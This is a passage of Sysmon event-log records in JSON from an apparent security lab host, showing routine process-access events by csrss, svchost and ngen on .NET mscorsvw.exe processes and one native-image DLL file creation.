2020-08-07 12:02:56.589\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 760\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-42F0-5F2D-0000-0010377C0E00}\r\nTargetProcessId: 4808\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:56.589","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"760","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-42F0-5F2D-0000-0010377C0E00}","TargetProcessId":"4808","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:02:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7685,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:56.604\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-42F0-5F2D-0000-0010377C0E00}\r\nTargetProcessId: 4808\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:56.604","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-42F0-5F2D-0000-0010377C0E00}","TargetProcessId":"4808","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7686,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:56.667\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4488\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-42F0-5F2D-0000-0010D17F0E00}\r\nTargetProcessId: 1164\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:56.667","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4488","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-42F0-5F2D-0000-0010D17F0E00}","TargetProcessId":"1164","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7687,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:56.667\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 1148\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-42F0-5F2D-0000-0010D17F0E00}\r\nTargetProcessId: 1164\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:56.667","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"1148","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-42F0-5F2D-0000-0010D17F0E00}","TargetProcessId":"1164","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:02:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7688,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:56.682\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-42F0-5F2D-0000-0010D17F0E00}\r\nTargetProcessId: 1164\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:56.682","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-42F0-5F2D-0000-0010D17F0E00}","TargetProcessId":"1164","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":7689,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: DLL\r\nUtcTime: 2020-08-07 12:02:57.025\r\nProcessGuid: {90617006-42F0-5F2D-0000-0010D17F0E00}\r\nProcessId: 1164\r\nImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nTargetFilename: C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\48c-0\\System.DirectoryServices.Protocols.dll\r\nCreationUtcTime: 2020-08-07 12:02:57.025","Category":"File created (rule: FileCreate)","Opcode":"Info","RuleName":"DLL","UtcTime":"2020-08-07 12:02:57.025","ProcessGuid":"{90617006-42F0-5F2D-0000-0010D17F0E00}","Image":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","TargetFilename":"C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\48c-0\\System.DirectoryServices.Protocols.dll","CreationUtcTime":"2020-08-07 12:02:57.025","EventReceivedTime":"2020-08-07 12:02:58","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7690,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:57.135\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-42DF-5F2D-0000-0010FD180E00}\r\nTargetProcessId: 3168\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:57.135","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-42DF-5F2D-0000-0010FD180E00}","TargetProcessId":"3168","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:58","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7691,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:57.135\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 2376\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-42DF-5F2D-0000-0010FD180E00}\r\nTargetProcessId: 3168\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:57.135","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"2376","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-42DF-5F2D-0000-0010FD180E00}","TargetProcessId":"3168","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:02:58","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7692,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:57.151\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-42F1-5F2D-0000-001079840E00}\r\nTargetProcessId: 3168\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:57.151","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-42F1-5F2D-0000-001079840E00}","TargetProcessId":"3168","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:58","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7693,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:57.370\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4488\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-42BA-5F2D-0000-0010931A0D00}\r\nTargetProcessId: 3940\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: 